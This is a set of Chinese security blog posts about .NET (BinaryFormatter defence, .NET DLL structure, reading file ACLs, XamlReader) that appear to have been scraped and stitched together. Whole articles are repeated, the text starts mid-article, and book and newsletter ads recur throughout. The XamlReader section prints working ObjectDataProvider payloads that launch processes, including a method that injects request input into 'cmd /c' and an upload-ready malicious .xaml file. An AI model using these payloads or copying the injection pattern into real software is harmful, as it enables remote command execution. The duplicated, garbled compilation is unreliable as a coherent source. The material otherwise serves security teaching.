以下是具体的防御方案，最根本的防御措施是替换BinaryFormatter这一不安全组件。对于需要序列化/反序列化的场景，推荐使用以下安全的序列化方案：

• System.Text.Json：.NET Core 3.0及以上版本内置的序列化组件，仅支持预定义类型的序列化，不支持任意类型的反序列化，安全性更高；

• Protobuf（Protocol Buffers）：谷歌开源的序列化框架，采用二进制编码，具有高效、紧凑、类型安全的特点，需预先定义数据结构，可有效防止恶意类型注入；

• MessagePack：基于二进制的高效序列化格式，支持多种编程语言，同样需要预定义数据结构，安全性优于BinaryFormatter。

建议微软在.NET Core 3.0及以上版本、.NET 5及以上版本中，对组件进行了安全优化，从源头修复了该漏洞。因此，对于使用旧版本.NET Framework的应用，建议尽快升级到.NET Core 3.1、.NET 6或更高版本，以获得官方的安全保障。

以上知识点已收录于新书《.NET安全攻防指南》，并且有完整详细的介绍，如下图所示。全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；

下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在Windows系统的开发与安全运维场景中，.dll文件是我们绕不开的重要存在。无论是调用系统API构建功能完善的应用，还是使用第三方类库提升开发效率，亦或是在安全研究、逆向分析领域追踪程序执行流，DLL都扮演着核心角色。但很多安全研究者对DLL的认知仅停留在一个可调用的代码文件层面，尤其在.NET生态中，.dll文件的内涵已远超出传统认知。本文将从本质出发，系统拆解.NET DLL的核心知识，带读者彻底摸清其背后的技术逻辑。

提及DLL，多数人首先想到的是C/C++开发的动态链接库。要理解.NET DLL的特殊性，必须先厘清它与传统DLL的本质区别——二者虽同为.dll后缀，但从内容结构到运行机制，实则是完全不同的技术载体。

1.1 动态链接库

每个程序集文件主要由IL代码、Metadata元数据、Manifest清单和资源文件组成。其中，IL代码和元数据会先被编译为一个或多个托管模块，然后托管模块和资源文件会被合并成程序集。

程序集文件中占比最大的一般是 IL 代码。IL 代码和 Java 字节码相似，它不包含平台特定的指令，它只在必要的时候被 .NET Core 运行时中的 JIT 编译器编译成机器码。

DLL全称Dynamic Link Library，译为动态链接库，其设计初衷是为了解决传统静态链接库导致的代码冗余问题。在C/C++开发中，传统DLL是封装机器码的独立模块，程序在运行时通过动态链接机制调用其中的函数，实现了代码的共享复用。这种DLL的核心特征是：

这种DLL的核心特征首先体现在机器码的直接执行能力上，其内部包含的是针对特定平台，比如x86、x64编译的原生机器码，无需额外的运行时环境支撑，即可由操作系统直接加载并执行。

其次，传统DLL的功能封装相对单一，主要用于整合文件操作、加密解密这类通用功能，对外仅提供函数入口地址作为调用依据，并不包含描述代码结构的相关信息。

最后，平台强绑定是其显著局限，由于编译过程与特定CPU架构深度关联，x86版本的DLL无法在x64系统中正常运行，天然缺乏跨平台能力。

1.2 托管程序集

在.NET生态中，.dll文件的身份发生了本质转变——它不再是单纯的机器码容器，而是承载托管代码的.NET程序集（Assembly）。这一转变源于.NET的运行时架构，我们可以从核心定义和运行特征两方面理解：

从定义上看 .NET程序集是.NET应用的基本构建块，是包含托管代码、元数据和资源的二进制单元。当我们用C#、VB.NET等.NET语言编写代码后，编译器不会直接生成机器码，而是输出包含IL代码和元数据的.dll或.exe文件，这些文件就是.NET程序集。

其中，必须在.NET运行时中执行的代码被称为托管代码，.NET DLL正是托管代码的主要载体。与传统DLL相比，.NET DLL的核心特征呈现出本质差异。在运行依赖层面，它的核心内容并非原生机器码，而是IL中间语言，这些代码必须通过.NET运行时内置的JIT编译器转换为目标平台的机器码后，才能完成执行过程，因此对.NET运行时存在强依赖。

元数据驱动的交互模式是其另一大特色 .NET DLL内部包含详细的元数据信息，这些信息完整描述了代码中的类、方法、参数等核心结构，使得.NET运行时能够精准验证类型安全，开发工具也能基于这些元数据实现智能提示等便捷功能。

跨平台能力的原生支持则进一步凸显了其优势，IL代码本身不与任何特定平台绑定，仅专注于描述执行逻辑，通过不同系统上的.NET运行时进行适配，即可实现一次编译，多平台运行的效果。

1.3 IL 代码

一个完整的.NET DLL程序集，由IL代码、元数据（Metadata）、程序集清单（Manifest）和资源文件四部分组成，这些组件协同工作，确保程序集的可执行性和可复用性。理解各部分的作用，是掌握.NET DLL的关键。

我们先来看看下面这样一段简单的 C# 代码被编译成 IL 代码会是什么样子。C# 代码如下所示。

publicclassCalculator{publicintAdd(int num1,int num2){return num1 + num2;}}

经过编译后，在项目的 bin\Debug 目录会生成一个与项目名称同名的 dll 程序集文件。

我们使用 ildasm.exe 工具打开这个文件，定位到 Calculator 的 Add 方法，可以看到 Add 方法的 IL 代码，如图所示。

IL代码具备三大核心特性，这些特性共同奠定了.NET生态的技术基础。跨语言统一性是其重要价值所在，无论开发者使用C#、VB.NET还是F#编写功能相同的代码，经过编译后生成的IL代码都会保持一致，这种统一性成为.NET实现跨语言调用的核心前提，让不同语言开发的模块能够无缝协同。

平台无关性则是其跨平台能力的根源，IL代码中不包含任何针对特定CPU的指令，仅专注于清晰描述执行逻辑，具体的平台适配工作由对应系统的.NET运行时负责，通过将IL代码转换为本地机器码，实现多平台兼容。

JIT编译依赖则揭示了其执行机制，程序运行时，.NET运行时的JIT编译器会采用逐方法编译的策略，将IL代码转换为当前平台的机器码，并且编译后的机器码会被缓存起来，后续再次调用该方法时无需重复编译，这种机制在保障跨平台性的同时，也兼顾了执行效率。

1.4 程序集清单

.NET 程序集还包含描述程序集本身的元数据，我们称之为清单。清单记录了当前程序集正常运行所需的所有外部程序集、程序集的版本号、版权信息等等。与类型元数据一样，生成程序集清单也是由编译器的工作。

同样地，还是以上面 Calculator 类所在项目为例，在 ildasm.exe 工具打开的程序集的目录树中，双击 MAINFEST 即可查看程序集的清单内容，如图2-14所示。

可以看到，程序集清单首先通过 .assembly extern 指令记录了它所引用的外部程序集。接着是当前程序集本身的信息，记录了程序集本身的各种特征，如版本号、模块名称等。

1.5 私有程序集

.NET私有程序集是指仅在特定应用程序或组件内部使用的程序集，通常不会被部署到GAC全局程序集缓存中，而是随着应用程序的打包发布部署在文件夹中，比如构建ConsoleJSON.exe可执行文件时，因为内部添加引用了JSON.NET这个开源组件，因此Visual Studio会把Newtonsoft.Json.dll复制到bin目录下，如图2-15所示。

因此私有程序集优点在于灵活部署，即使不小心移除了私有程序集，也不会担心破坏主机上其他应用程序的正常运行。

私有程序集的核心优势首先体现在部署的简单灵活性上，由于无需部署到系统级的GAC目录，仅需将应用程序的可执行文件与依赖的私有程序集一同打包，复制到目标机器即可完成部署，整个过程无需管理员权限，这种特性使其特别适合桌面应用、微服务等需要独立部署的场景。

1.6 小结

通过本文的系统解析，我们可以清晰地认识到：.NET DLL绝非传统DLL的简单延伸，而是.NET生态中承载托管代码的核心载体。其本质是包含IL代码、元数据和清单的程序集，通过.NET运行时的JIT编译实现跨平台运行，通过私有部署实现应用隔离和灵活维护。

从开发角度看，.NET DLL是实现代码复用和模块化的关键；从运维角度看，它的部署和版本管理直接影响应用的稳定性；从安全角度看，它的防护需求贯穿应用全生命周期。掌握.NET DLL的核心知识，不仅能提升日常开发效率，更能在面对复杂问题时快速抓住本质，是.NET开发者必备的基础能力。

未来，随着.NET跨平台生态的不断完善，.NET DLL的应用场景将更加广泛，深入理解其技术内涵，将为我们的技术成长提供坚实的支撑。

.NET私有程序虽然 .dll 后缀相同，但背后差异极大。.NET 程序集是包含 IL 代码的托管程序集，而 C/C++ 编译的 DLL 是操作系统直接运行的本地模块。理解它们的结构与加载方式，对开发、架构、安全都有极大的帮助。

以上知识点已收录于新书《.NET安全攻防指南》，并且有完整详细的介绍，如下图所示。全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；

下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。自《.NET安全攻防指南》上线以来，许多读者已抢先下单成功购入并收到了书籍，反响热烈，好评如潮！感谢大家的支持，我们也将持续为大家带来更多优质的.NET安全研究成果！原价258元，现限量优惠，数量有限！点击京东链接：https://item.jd.com/10140917044329.html 或者打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在Windows系统的开发与安全运维场景中，.dll文件是我们绕不开的重要存在。无论是调用系统API构建功能完善的应用，还是使用第三方类库提升开发效率，亦或是在安全研究、逆向分析领域追踪程序执行流，DLL都扮演着核心角色。但很多安全研究者对DLL的认知仅停留在一个可调用的代码文件层面，尤其在.NET生态中，.dll文件的内涵已远超出传统认知。本文将从本质出发，系统拆解.NET DLL的核心知识，带读者彻底摸清其背后的技术逻辑。

提及DLL，多数人首先想到的是C/C++开发的动态链接库。要理解.NET DLL的特殊性，必须先厘清它与传统DLL的本质区别——二者虽同为.dll后缀，但从内容结构到运行机制，实则是完全不同的技术载体。

1.1 动态链接库

每个程序集文件主要由IL代码、Metadata元数据、Manifest清单和资源文件组成。其中，IL代码和元数据会先被编译为一个或多个托管模块，然后托管模块和资源文件会被合并成程序集。

程序集文件中占比最大的一般是 IL 代码。IL 代码和 Java 字节码相似，它不包含平台特定的指令，它只在必要的时候被 .NET Core 运行时中的 JIT 编译器编译成机器码。

DLL全称Dynamic Link Library，译为动态链接库，其设计初衷是为了解决传统静态链接库导致的代码冗余问题。在C/C++开发中，传统DLL是封装机器码的独立模块，程序在运行时通过动态链接机制调用其中的函数，实现了代码的共享复用。这种DLL的核心特征是：

这种DLL的核心特征首先体现在机器码的直接执行能力上，其内部包含的是针对特定平台，比如x86、x64编译的原生机器码，无需额外的运行时环境支撑，即可由操作系统直接加载并执行。

其次，传统DLL的功能封装相对单一，主要用于整合文件操作、加密解密这类通用功能，对外仅提供函数入口地址作为调用依据，并不包含描述代码结构的相关信息。

最后，平台强绑定是其显著局限，由于编译过程与特定CPU架构深度关联，x86版本的DLL无法在x64系统中正常运行，天然缺乏跨平台能力。

1.2 托管程序集

在.NET生态中，.dll文件的身份发生了本质转变——它不再是单纯的机器码容器，而是承载托管代码的.NET程序集（Assembly）。这一转变源于.NET的运行时架构，我们可以从核心定义和运行特征两方面理解：

从定义上看 .NET程序集是.NET应用的基本构建块，是包含托管代码、元数据和资源的二进制单元。当我们用C#、VB.NET等.NET语言编写代码后，编译器不会直接生成机器码，而是输出包含IL代码和元数据的.dll或.exe文件，这些文件就是.NET程序集。

其中，必须在.NET运行时中执行的代码被称为托管代码，.NET DLL正是托管代码的主要载体。与传统DLL相比，.NET DLL的核心特征呈现出本质差异。在运行依赖层面，它的核心内容并非原生机器码，而是IL中间语言，这些代码必须通过.NET运行时内置的JIT编译器转换为目标平台的机器码后，才能完成执行过程，因此对.NET运行时存在强依赖。

元数据驱动的交互模式是其另一大特色 .NET DLL内部包含详细的元数据信息，这些信息完整描述了代码中的类、方法、参数等核心结构，使得.NET运行时能够精准验证类型安全，开发工具也能基于这些元数据实现智能提示等便捷功能。

跨平台能力的原生支持则进一步凸显了其优势，IL代码本身不与任何特定平台绑定，仅专注于描述执行逻辑，通过不同系统上的.NET运行时进行适配，即可实现一次编译，多平台运行的效果。

1.3 IL 代码

一个完整的.NET DLL程序集，由IL代码、元数据（Metadata）、程序集清单（Manifest）和资源文件四部分组成，这些组件协同工作，确保程序集的可执行性和可复用性。理解各部分的作用，是掌握.NET DLL的关键。

我们先来看看下面这样一段简单的 C# 代码被编译成 IL 代码会是什么样子。C# 代码如下所示。

publicclassCalculator{publicintAdd(int num1,int num2){return num1 + num2;}}

经过编译后，在项目的 bin\Debug 目录会生成一个与项目名称同名的 dll 程序集文件。

我们使用 ildasm.exe 工具打开这个文件，定位到 Calculator 的 Add 方法，可以看到 Add 方法的 IL 代码，如图所示。

IL代码具备三大核心特性，这些特性共同奠定了.NET生态的技术基础。跨语言统一性是其重要价值所在，无论开发者使用C#、VB.NET还是F#编写功能相同的代码，经过编译后生成的IL代码都会保持一致，这种统一性成为.NET实现跨语言调用的核心前提，让不同语言开发的模块能够无缝协同。

平台无关性则是其跨平台能力的根源，IL代码中不包含任何针对特定CPU的指令，仅专注于清晰描述执行逻辑，具体的平台适配工作由对应系统的.NET运行时负责，通过将IL代码转换为本地机器码，实现多平台兼容。

JIT编译依赖则揭示了其执行机制，程序运行时，.NET运行时的JIT编译器会采用逐方法编译的策略，将IL代码转换为当前平台的机器码，并且编译后的机器码会被缓存起来，后续再次调用该方法时无需重复编译，这种机制在保障跨平台性的同时，也兼顾了执行效率。

1.4 程序集清单

.NET 程序集还包含描述程序集本身的元数据，我们称之为清单。清单记录了当前程序集正常运行所需的所有外部程序集、程序集的版本号、版权信息等等。与类型元数据一样，生成程序集清单也是由编译器的工作。

同样地，还是以上面 Calculator 类所在项目为例，在 ildasm.exe 工具打开的程序集的目录树中，双击 MAINFEST 即可查看程序集的清单内容，如图2-14所示。

可以看到，程序集清单首先通过 .assembly extern 指令记录了它所引用的外部程序集。接着是当前程序集本身的信息，记录了程序集本身的各种特征，如版本号、模块名称等。

1.5 私有程序集

.NET私有程序集是指仅在特定应用程序或组件内部使用的程序集，通常不会被部署到GAC全局程序集缓存中，而是随着应用程序的打包发布部署在文件夹中，比如构建ConsoleJSON.exe可执行文件时，因为内部添加引用了JSON.NET这个开源组件，因此Visual Studio会把Newtonsoft.Json.dll复制到bin目录下，如图2-15所示。

因此私有程序集优点在于灵活部署，即使不小心移除了私有程序集，也不会担心破坏主机上其他应用程序的正常运行。

私有程序集的核心优势首先体现在部署的简单灵活性上，由于无需部署到系统级的GAC目录，仅需将应用程序的可执行文件与依赖的私有程序集一同打包，复制到目标机器即可完成部署，整个过程无需管理员权限，这种特性使其特别适合桌面应用、微服务等需要独立部署的场景。

1.6 小结

通过本文的系统解析，我们可以清晰地认识到：.NET DLL绝非传统DLL的简单延伸，而是.NET生态中承载托管代码的核心载体。其本质是包含IL代码、元数据和清单的程序集，通过.NET运行时的JIT编译实现跨平台运行，通过私有部署实现应用隔离和灵活维护。

从开发角度看，.NET DLL是实现代码复用和模块化的关键；从运维角度看，它的部署和版本管理直接影响应用的稳定性；从安全角度看，它的防护需求贯穿应用全生命周期。掌握.NET DLL的核心知识，不仅能提升日常开发效率，更能在面对复杂问题时快速抓住本质，是.NET开发者必备的基础能力。

未来，随着.NET跨平台生态的不断完善，.NET DLL的应用场景将更加广泛，深入理解其技术内涵，将为我们的技术成长提供坚实的支撑。

.NET私有程序虽然 .dll 后缀相同，但背后差异极大。.NET 程序集是包含 IL 代码的托管程序集，而 C/C++ 编译的 DLL 是操作系统直接运行的本地模块。理解它们的结构与加载方式，对开发、架构、安全都有极大的帮助。

以上知识点已收录于新书《.NET安全攻防指南》，并且有完整详细的介绍，如下图所示。全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；

下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。自《.NET安全攻防指南》上线以来，许多读者已抢先下单成功购入并收到了书籍，反响热烈，好评如潮！感谢大家的支持，我们也将持续为大家带来更多优质的.NET安全研究成果！原价258元，现限量优惠，数量有限！点击京东链接：https://item.jd.com/10140917044329.html 或者打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在上一节，我们深入探讨了 Windows 文件权限的理论基础：访问控制列表和 访问控制项，并了解了 BUILTIN\Users、Everyone 和 Authenticated Users 这些内置账户的特殊性。然而，理解只是第一步。要真正将这些概念应用于安全审计或开发实践，我们需要一个编程接口来操作这些抽象的权限。

此文所节选自小报童《.NET 内网实战攻防》专栏，主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧，对内网和后渗透感兴趣的朋友们可以订阅该电子报刊，解锁更多的报刊内容。

本文内容部分节选自小报童《.NET 剖析ACL & ACE 与内置账户》，完整的文章内容请加入小报童后订阅查看。现在限时只需69元，永久买断！目前已有300+位朋友抢先预定，我们会长期更新，对.NET内网安全的朋友们请尽快订阅该报刊！

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

在 .NET 中，文件权限信息调用通过静态方法 File.GetAccessControl()。可以把它想象成一把钥匙，用于打开文件的“安全锁”，获取其内部的权限设置。

2.1 FileSecurity

FileSecurity 代表了文件的安全描述符，可以把它看作是一个容器，里面装着该文件的所有权限规则。 该对象包含了文件的 ACL，它不直接告诉你有哪些权限，而是提供了一系列方法，让你能够查询和管理这些权限规则。

IdentityReference owner = fileSecurity.GetOwner(typeof(NTAccount));Console.WriteLine(owner.Value);

还可以通过 FileSecurity.GetGroup() 方法获取文件的组信息，在 Windows 文件中，组的作用非常有限，通常不像 Linux/Unix 那样重要。

最重要的还是 GetAccessRules() 方法，它是 FileSecurity 类中的一个核心方法，通常会返回一个集合，这个集合里包含了文件的所有访问控制项ACE。这个方法就像是让你查看一个权限清单。每条 ACE 都是清单上的一行，详细说明了“谁被赋予了什么权限”。

2.2 AccessRule

FileSystemAccessRule 是 .NET 中用于管理文件和文件夹权限的核心组件，代表了文件或文件夹的单个访问控制规则（Access Control Entry, ACE）。我们可以把 FileSystemAccessRule 看作是 Windows 权限列表中的一行记录。

在 .NET 中，通常不会直接创建 FileSystemAccessRule 对象。相反，一般情况下会通过 FileSecurity 对象的 GetAccessRules() 方法来获取一个 FileSystemAccessRule 对象的集合。

2.3 实战解析

我们以获取 "C:\windows\system32\calc.exe" 文件为例，具体代码如下所示。

string file =@"C:\windows\system32\calc.exe";FileSecurity fileSecurity = File.GetAccessControl(file);IdentityReference owner = fileSecurity.GetOwner(typeof(NTAccount));Console.WriteLine($"Owner: {owner.Value}");AuthorizationRuleCollection rules = fileSecurity.GetAccessRules(true,true,typeof(NTAccount));foreach(FileSystemAccessRule rule in rules){Console.WriteLine($"User/Group: {rule.IdentityReference.Value}, Rights: {rule.FileSystemRights}, Access: {rule.AccessControlType}");}

运行后返回如下图所示的结果信息，其中，Synchronize 是 Windows 内核对象的同步权限。

综上，FileSecurity 就像文件的权限清单，而 FileSystemAccessRule 就是清单里的具体一条规则。搞明白这两个类，就能在安全里读懂一个文件到底谁能访问、能做什么，甚至还能改掉这些规则。想要了解完整或者更多的内网安全方向的文章，可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

我们的小报童电子报刊【.NET内网安全攻防】也开始运营，引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足，为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高，那么可以订阅这个专栏。

本次电子报刊《.NET 内网安全攻防》专栏，内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧，可细分为以下8个方向。

1） .NET 安全防御绕过
2） .NET 本地权限提升
3） .NET 内网信息收集
4） .NET 内网代理通道
5） .NET 内网横向移动
6） .NET 目标权限维持
7） .NET 数据传输外发
8） .NET 目标痕迹清理

原价899，现在限时只需69元，永久买断！目前已有300+位朋友抢先预定，我们会长期更新，初步计划保持每周更新1-2篇新内容，对.NET内网安全的朋友们请尽快订阅该报刊！

每增加五十人涨价10元，抓紧订阅，超值！订阅后请关注公众号：dotNet安全矩阵，发送订单截图和您的微信号，邀请您加入专属交流群。感兴趣的朋友，可以点击链接：https://xiaobot.net/p/dotNetAttack，或者扫描下方海报微信二维码加入即可，订阅后小报童定时会将最新内容通过微信推送给您。

阅读原文

跳转微信打开

本文将聚焦 .NET 生态中一个特殊的安全相关类，依托 XamlReader 组件动态解析 XAML 文档的核心特性，通过精心构造 XAML 载荷，可在目标主机上实现无文件落地的任意系统进程启动，最终达成程命令执行的效果。

在 .NET 应用中，WPF 因其强大的界面绘制能力和灵活的数据绑定机制而被广泛使用。与传统的 Windows Forms 不同，WPF 使用一种名为 XAML 的声明式标记语言来描述 UI 元素和数据交互逻辑。

1.1 WPF 框架

WPF 是 Microsoft 在 .NET Framework 3.0 中引入的一套 UI 框架，专为构建丰富客户端应用而设计。与 WinForms 相比，WPF 支持硬件加速渲染、更强的控件组合能力、样式控制、动画、数据绑定等高级特性。在 WPF 应用中，通常通过 XAML 文件来定义界面布局，然后在后台代码中为控件编写逻辑。

1.2 XAML 介绍

XAML 是一种基于 XML 的标记语言，用于声明 UI 组件及其行为。例如，一个简单的按钮控件可以如下声明：

<Button Content="点击我" Width="100" Height="50"/>

XAML 允许嵌套、绑定、动画、数据源等复杂逻辑。例如：

<ObjectDataProvider x:Key="launch" ObjectType="{x:Type sys:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><sys:String>calc.exe</sys:String></ObjectDataProvider.MethodParameters></ObjectDataProvider>

以上声明可在运行时调用 Process.Start("calc.exe") 启动计算器。

System.Windows.Markup.XamlReader 是 WPF 的核心类之一，存在于 PresentationFramework.dll 中。该类提供了一系列方法，可用于将 XAML 字符串或流解析成实际的 .NET 对象。

2.1 动态构造XAML

在支持 WPF 的 Web API、富客户端、插件化平台或用户自定义模板系统中，若系统直接调用了 XamlReader.Parse() 来解析用户输入的数据，便存在命令执行的风险，具体代码如下所示。

publicstaticvoidCodeInject(string input){StringBuilder xaml =newStringBuilder();    xaml.Append("<ResourceDictionary ");    xaml.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");    xaml.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");    xaml.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");    xaml.Append("xmlns:pro=\"clr-namespace:System.Diagnostics;assembly=System\">");    xaml.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");    xaml.Append("<ObjectDataProvider.MethodParameters>");    xaml.Append("<b:String>cmd</b:String>");    xaml.Append($"<b:String>/c {input}</b:String>");    xaml.Append("</ObjectDataProvider.MethodParameters>");    xaml.Append("</ObjectDataProvider>");    xaml.Append("</ResourceDictionary>");    XamlReader.Parse(xaml.ToString());}

上述代码段中，程序利用StringBuilder类动态构建了一个XAML字符串，该字符串定义了一个ResourceDictionary。

其中包含了一个ObjectDataProvider元素，这个ObjectDataProvider被配置为启动System.Diagnostics.Process类的Start方法，进而调用cmd.exe /c命令运行指定的程序，如winver.exe。

如果部署了如下 ashx 接口，通过HTTP请求访问XamlReaderParseSpy.ashx?input=winver，可以触发此XAML代码的解析并成功启动进程。

publicvoidProcessRequest(HttpContext context){string cmd = context.Request["input"];CodeInject(cmd);}

2.2 文件方式触发

XamlReader.Load 可解析来自本地磁盘的 .xaml 文件，若系统允许用户上传或修改 .xaml 配置，攻击者可构造文件并上传，等待后台加载。

<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"        xmlns:sys="clr-namespace:System;assembly=mscorlib"        xmlns:local="clr-namespace:System.Diagnostics;assembly=System"><Window.Resources><ObjectDataProvider x:Key="cmd" ObjectType="{x:Type local:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><sys:String>calc</sys:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></Window.Resources></Window>

通过LoadAsync方法正常解析Dictionary2.xaml文件中保存的负载，成功启动本地计算器进程，如下图所示。

综上，XAML 是强大且灵活的 UI 构建语言，而 XamlReader 作为其解析入口，在客户端开发中不可或缺。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

阅读原文

跳转微信打开

在上一节，我们深入探讨了 Windows 文件权限的理论基础：访问控制列表和 访问控制项，并了解了 BUILTIN\Users、Everyone 和 Authenticated Users 这些内置账户的特殊性。然而，理解只是第一步。要真正将这些概念应用于安全审计或开发实践，我们需要一个编程接口来操作这些抽象的权限。

此文所节选自小报童《.NET 内网实战攻防》专栏，主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧，对内网和后渗透感兴趣的朋友们可以订阅该电子报刊，解锁更多的报刊内容。

本文内容部分节选自小报童《.NET 剖析ACL & ACE 与内置账户》，完整的文章内容请加入小报童后订阅查看。现在限时只需69元，永久买断！目前已有300+位朋友抢先预定，我们会长期更新，对.NET内网安全的朋友们请尽快订阅该报刊！

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

在 .NET 中，文件权限信息调用通过静态方法 File.GetAccessControl()。可以把它想象成一把钥匙，用于打开文件的“安全锁”，获取其内部的权限设置。

2.1 FileSecurity

FileSecurity 代表了文件的安全描述符，可以把它看作是一个容器，里面装着该文件的所有权限规则。 该对象包含了文件的 ACL，它不直接告诉你有哪些权限，而是提供了一系列方法，让你能够查询和管理这些权限规则。

IdentityReference owner = fileSecurity.GetOwner(typeof(NTAccount));Console.WriteLine(owner.Value);

还可以通过 FileSecurity.GetGroup() 方法获取文件的组信息，在 Windows 文件中，组的作用非常有限，通常不像 Linux/Unix 那样重要。

最重要的还是 GetAccessRules() 方法，它是 FileSecurity 类中的一个核心方法，通常会返回一个集合，这个集合里包含了文件的所有访问控制项ACE。这个方法就像是让你查看一个权限清单。每条 ACE 都是清单上的一行，详细说明了“谁被赋予了什么权限”。

2.2 AccessRule

FileSystemAccessRule 是 .NET 中用于管理文件和文件夹权限的核心组件，代表了文件或文件夹的单个访问控制规则（Access Control Entry, ACE）。我们可以把 FileSystemAccessRule 看作是 Windows 权限列表中的一行记录。

在 .NET 中，通常不会直接创建 FileSystemAccessRule 对象。相反，一般情况下会通过 FileSecurity 对象的 GetAccessRules() 方法来获取一个 FileSystemAccessRule 对象的集合。

2.3 实战解析

我们以获取 "C:\windows\system32\calc.exe" 文件为例，具体代码如下所示。

string file =@"C:\windows\system32\calc.exe";FileSecurity fileSecurity = File.GetAccessControl(file);IdentityReference owner = fileSecurity.GetOwner(typeof(NTAccount));Console.WriteLine($"Owner: {owner.Value}");AuthorizationRuleCollection rules = fileSecurity.GetAccessRules(true,true,typeof(NTAccount));foreach(FileSystemAccessRule rule in rules){Console.WriteLine($"User/Group: {rule.IdentityReference.Value}, Rights: {rule.FileSystemRights}, Access: {rule.AccessControlType}");}

运行后返回如下图所示的结果信息，其中，Synchronize 是 Windows 内核对象的同步权限。

综上，FileSecurity 就像文件的权限清单，而 FileSystemAccessRule 就是清单里的具体一条规则。搞明白这两个类，就能在安全里读懂一个文件到底谁能访问、能做什么，甚至还能改掉这些规则。想要了解完整或者更多的内网安全方向的文章，可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

我们的小报童电子报刊【.NET内网安全攻防】也开始运营，引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足，为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高，那么可以订阅这个专栏。